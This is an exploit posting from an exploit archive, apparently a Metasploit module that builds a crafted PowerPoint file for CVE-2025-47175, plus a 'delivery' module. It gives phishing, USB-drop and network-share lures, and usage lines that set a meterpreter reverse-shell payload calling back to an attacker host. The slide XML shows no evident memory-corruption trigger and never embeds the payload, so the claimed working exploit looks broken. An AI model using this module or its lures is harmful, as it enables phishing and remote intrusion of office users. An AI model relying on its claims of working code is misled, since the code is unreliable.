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## https://sploitus.com/exploit?id=PACKETSTORM:212315
=============================================================================================================================================
| # Title : Microsoft PowerPoint 2019 Use-After-Free Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.microsoft.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/206209/ & CVEโ2025โ47175
[+] Summary : This module exploits a Use-After-Free vulnerability in Microsoft PowerPoint
(CVE-2025-47175) that allows remote code execution when a user opens a
specially crafted PPTX file. The vulnerability is triggered through
manipulated shape objects in the PowerPoint presentation.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft PowerPoint Use-After-Free Remote Code Execution',
'Description' => %q{
This module exploits a Use-After-Free vulnerability in Microsoft PowerPoint
(CVE-2025-47175) that allows remote code execution when a user opens a
specially crafted PPTX file. The vulnerability is triggered through
manipulated shape objects in the PowerPoint presentation.
},
'Author' => [
'Mohammed Idrees Banyamer', # Original discovery and PoC
'indoushka' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-47175'],
['URL', 'https://packetstorm.news/files/author/7697/1'],
],
'DefaultOptions' => {
'EXITFUNC' => 'process',
'DisablePayloadHandler' => false
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' => {
'Space' => 4096,
'DisableNops' => true,
'BadChars' => ''
},
'Targets' => [
[
'Microsoft PowerPoint 2019 / Office 365',
{
'Platform' => 'win',
'Arch' => ARCH_X64
}
],
[
'Microsoft PowerPoint 2016',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DisclosureDate' => '2025-07-02',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [FIRST_ATTEMPT_FAIL],
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
}))
register_options([
OptString.new('FILENAME', [true, 'The PPTX file name', 'exploit_cve_2025_47175.pptx']),
OptString.new('SHAPE_NAME', [true, 'Malicious shape name', 'MaliciousShape']),
OptInt.new('SHAPE_ID', [true, 'Shape ID for exploitation', 1234]),
OptString.new('TRIGGER_TEXT', [true, 'Text to display in slide', 'Important Presentation - Please Review'])
])
end
def exploit
# Generate the malicious PPTX file
pptx_data = generate_pptx
file_create(pptx_data)
print_status("Malicious PPTX file created: #{datastore['FILENAME']}")
end
def generate_pptx
# Create the PPTX structure in memory
pptx = Rex::Zip::Archive.new
# [Content_Types].xml
content_types = %Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Default Extension="jpeg" ContentType="image/jpeg"/>
<Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"/>
<Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/>
<Override PartName="/ppt/slides/slide2.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/>
<Override PartName="/ppt/slides/_rels/slide1.xml.rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Override PartName="/ppt/slides/_rels/slide2.xml.rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Override PartName="/ppt/_rels/presentation.xml.rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
</Types>|
pptx.add_file('[Content_Types].xml', content_types)
# _rels/.rels
rels_root = %Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/>
</Relationships>|
pptx.add_file('_rels/.rels', rels_root)
# ppt/presentation.xml
presentation = %Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:sldMasterIdLst>
<p:sldMasterId id="2147483648" r:id="rId1"/>
</p:sldMasterIdLst>
<p:sldIdLst>
<p:sldId id="256" r:id="rId2"/>
<p:sldId id="257" r:id="rId3"/>
</p:sldIdLst>
<p:sldSz cx="9144000" cy="6858000" type="screen4x3"/>
<p:notesSz cx="6858000" cy="9144000"/>
</p:presentation>|
pptx.add_file('ppt/presentation.xml', presentation)
# ppt/_rels/presentation.xml.rels
pres_rels = %Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml"/>
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/>
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide2.xml"/>
</Relationships>|
pptx.add_file('ppt/_rels/presentation.xml.rels', pres_rels)
# Create malicious slide 1 (trigger slide)
slide1 = generate_malicious_slide
pptx.add_file('ppt/slides/slide1.xml', slide1)
# Create slide 2 (normal slide for stealth)
slide2 = generate_normal_slide
pptx.add_file('ppt/slides/slide2.xml', slide2)
# Slide relationships
slide1_rels = %Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>
</Relationships>|
pptx.add_file('ppt/slides/_rels/slide1.xml.rels', slide1_rels)
pptx.add_file('ppt/slides/_rels/slide2.xml.rels', slide1_rels) # Reuse same rels
# Slide master and layout (minimal required)
slide_master = %Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldMaster xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:cSld>
<p:spTree>
<p:nvGrpSpPr>
<p:cNvPr id="1" name=""/>
<p:cNvGrpSpPr/>
<p:nvPr/>
</p:nvGrpSpPr>
<p:grpSpPr/>
</p:spTree>
</p:cSld>
<p:clrMap bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
</p:sldMaster>|
pptx.add_file('ppt/slideMasters/slideMaster1.xml', slide_master)
slide_layout = %Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:cSld>
<p:spTree>
<p:nvGrpSpPr>
<p:cNvPr id="1" name=""/>
<p:cNvGrpSpPr/>
<p:nvPr/>
</p:nvGrpSpPr>
<p:grpSpPr/>
</p:spTree>
</p:cSld>
<p:clrMap bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
</p:sldLayout>|
pptx.add_file('ppt/slideLayouts/slideLayout1.xml', slide_layout)
# Add slide master relationships
master_rels = %Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>
</Relationships>|
pptx.add_file('ppt/slideMasters/_rels/slideMaster1.xml.rels', master_rels)
# Return the complete PPTX file
return pptx.pack
end
def generate_malicious_slide
shape_id = datastore['SHAPE_ID']
shape_name = datastore['SHAPE_NAME']
trigger_text = datastore['TRIGGER_TEXT']
# Create the malicious slide with UAF trigger
slide_xml = %Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:cSld>
<p:spTree>
<!-- Malicious shape designed to trigger UAF -->
<p:sp>
<p:nvSpPr>
<p:cNvPr id="#{shape_id}" name="#{shape_name}"/>
<p:cNvSpPr>
<a:spLocks noGrp="1" noRot="1" noChangeAspect="1"/>
</p:cNvSpPr>
<p:nvPr>
<p:ph type="title"/>
</p:nvPr>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="914400" y="914400"/>
<a:ext cx="7315200" cy="1371600"/>
</a:xfrm>
<a:prstGeom prst="rect">
<a:avLst/>
</a:prstGeom>
<a:solidFill>
<a:srgbClr val="4472C4"/>
</a:solidFill>
<a:ln w="9525">
<a:solidFill>
<a:srgbClr val="000000"/>
</a:solidFill>
</a:ln>
</p:spPr>
<p:txBody>
<a:bodyPr rtlCol="0" anchor="ctr"/>
<a:lstStyle/>
<a:p>
<a:pPr algn="ctr"/>
<a:r>
<a:rPr lang="en-US" sz="4400" b="1">
<a:solidFill>
<a:srgbClr val="FFFFFF"/>
</a:solidFill>
</a:rPr>
<a:t>#{trigger_text}</a:t>
</a:r>
</a:p>
</p:txBody>
</p:sp>
<!-- Additional shapes to increase exploitation reliability -->
<p:sp>
<p:nvSpPr>
<p:cNvPr id="#{shape_id + 1}" name="#{shape_name}_2"/>
<p:cNvSpPr/>
<p:nvPr/>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="1524000" y="3048000"/>
<a:ext cx="1828800" cy="1828800"/>
</a:xfrm>
<a:prstGeom prst="rect">
<a:avLst/>
</a:prstGeom>
</p:spPr>
<p:txBody>
<a:bodyPr/>
<a:lstStyle/>
<a:p>
<a:r>
<a:t>Additional Content</a:t>
</a:r>
</a:p>
</p:txBody>
</p:sp>
<!-- Trigger shape with crafted properties -->
<p:sp>
<p:nvSpPr>
<p:cNvPr id="#{shape_id + 2}" name="TriggerShape"/>
<p:cNvSpPr>
<a:spLocks noGrp="1"/>
</p:cNvSpPr>
<p:nvPr/>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="3048000" y="4572000"/>
<a:ext cx="1828800" cy="1828800"/>
</a:xfrm>
<a:prstGeom prst="roundRect">
<a:avLst/>
</a:prstGeom>
<a:gradFill rot="0">
<a:gsLst>
<a:gs pos="0">
<a:srgbClr val="5B9BD5"/>
</a:gs>
<a:gs pos="100000">
<a:srgbClr val="2E75B5"/>
</a:gs>
</a:gsLst>
</a:gradFill>
</p:spPr>
<p:txBody>
<a:bodyPr wrap="square" rtlCol="0">
<a:spAutoFit/>
</a:bodyPr>
<a:lstStyle/>
<a:p>
<a:r>
<a:rPr lang="en-US" sz="1800"/>
<a:t>Click to continue</a:t>
</a:r>
</a:p>
</p:txBody>
</p:sp>
</p:spTree>
</p:cSld>
<p:clrMapOvr>
<a:masterClrMapping/>
</p:clrMapOvr>
</p:sld>|
return slide_xml
end
def generate_normal_slide
# Create a normal-looking second slide for stealth
%Q|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:cSld>
<p:spTree>
<p:sp>
<p:nvSpPr>
<p:cNvPr id="2" name="Title 1"/>
<p:cNvSpPr>
<a:spLocks noGrp="1"/>
</p:cNvSpPr>
<p:nvPr>
<p:ph type="title"/>
</p:nvPr>
</p:nvSpPr>
<p:spPr/>
<p:txBody>
<a:bodyPr/>
<a:lstStyle/>
<a:p>
<a:r>
<a:rPr lang="en-US"/>
<a:t>Normal Slide Content</a:t>
</a:r>
</a:p>
</p:txBody>
</p:sp>
</p:spTree>
</p:cSld>
<p:clrMapOvr>
<a:masterClrMapping/>
</p:clrMapOvr>
</p:sld>|
end
end
-------------------------------------
Auxiliary Module for Payload Delivery
-------------------------------------
##
# Auxiliary module for CVE-2025-47175 payload delivery
##
class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2025-47175 PowerPoint Exploit Delivery',
'Description' => %q{
This module assists in delivering the CVE-2025-47175 PowerPoint exploit
through various social engineering vectors.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2025-47175']]
))
register_options([
OptString.new('EMAIL_SUBJECT', [true, 'Email subject for delivery', 'Important Presentation']),
OptString.new('EMAIL_BODY', [true, 'Email body text', 'Please review the attached presentation.']),
OptPath.new('PPTX_FILE', [true, 'Path to malicious PPTX file'])
])
end
def run
pptx_path = datastore['PPTX_FILE']
unless File.exist?(pptx_path)
print_error("PPTX file not found: #{pptx_path}")
return
end
print_status("CVE-2025-47175 PowerPoint Exploit Delivery")
print_status("Malicious file: #{pptx_path}")
print_status("File size: #{File.size(pptx_path)} bytes")
# Display delivery instructions
show_delivery_instructions
end
def show_delivery_instructions
print_line("
๐ง Delivery Methods:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
1. Email Attachment:
โข Subject: #{datastore['EMAIL_SUBJECT']}
โข Body: #{datastore['EMAIL_BODY']}
โข Attach the generated PPTX file
2. Network Share:
โข Place file on accessible network share
โข Send link to target users
โข Use convincing file name
3. USB Drop:
โข Copy to USB drive with enticing name
โข Leave in target location
4. Web Download:
โข Host on web server
โข Send download link via email/chat
โ ๏ธ Social Engineering Tips:
โข Use convincing presentation titles
โข Mimic legitimate business content
โข Target specific departments/individuals
โข Time delivery for maximum impact
๐ฏ Target Environment:
โข Microsoft PowerPoint 2019/Office 365
โข Unpatched versions (pre-June 2025)
โข Windows operating system
")
end
end
---------------------------
Usage in Metasploit:
--------------------------
# Generate malicious PPTX file
use exploit/windows/fileformat/ppt_cve_2025_47175
set FILENAME malicious_presentation.pptx
set SHAPE_NAME "CriticalUpdate"
set SHAPE_ID 9999
set TRIGGER_TEXT "Important Security Update - Please Review"
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit
# Use delivery auxiliary module
use auxiliary/delivery/ppt_cve_2025_47175
set PPTX_FILE /path/to/malicious_presentation.pptx
set EMAIL_SUBJECT "Q4 Financial Report"
set EMAIL_BODY "Please find attached the quarterly financial report for review."
run
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================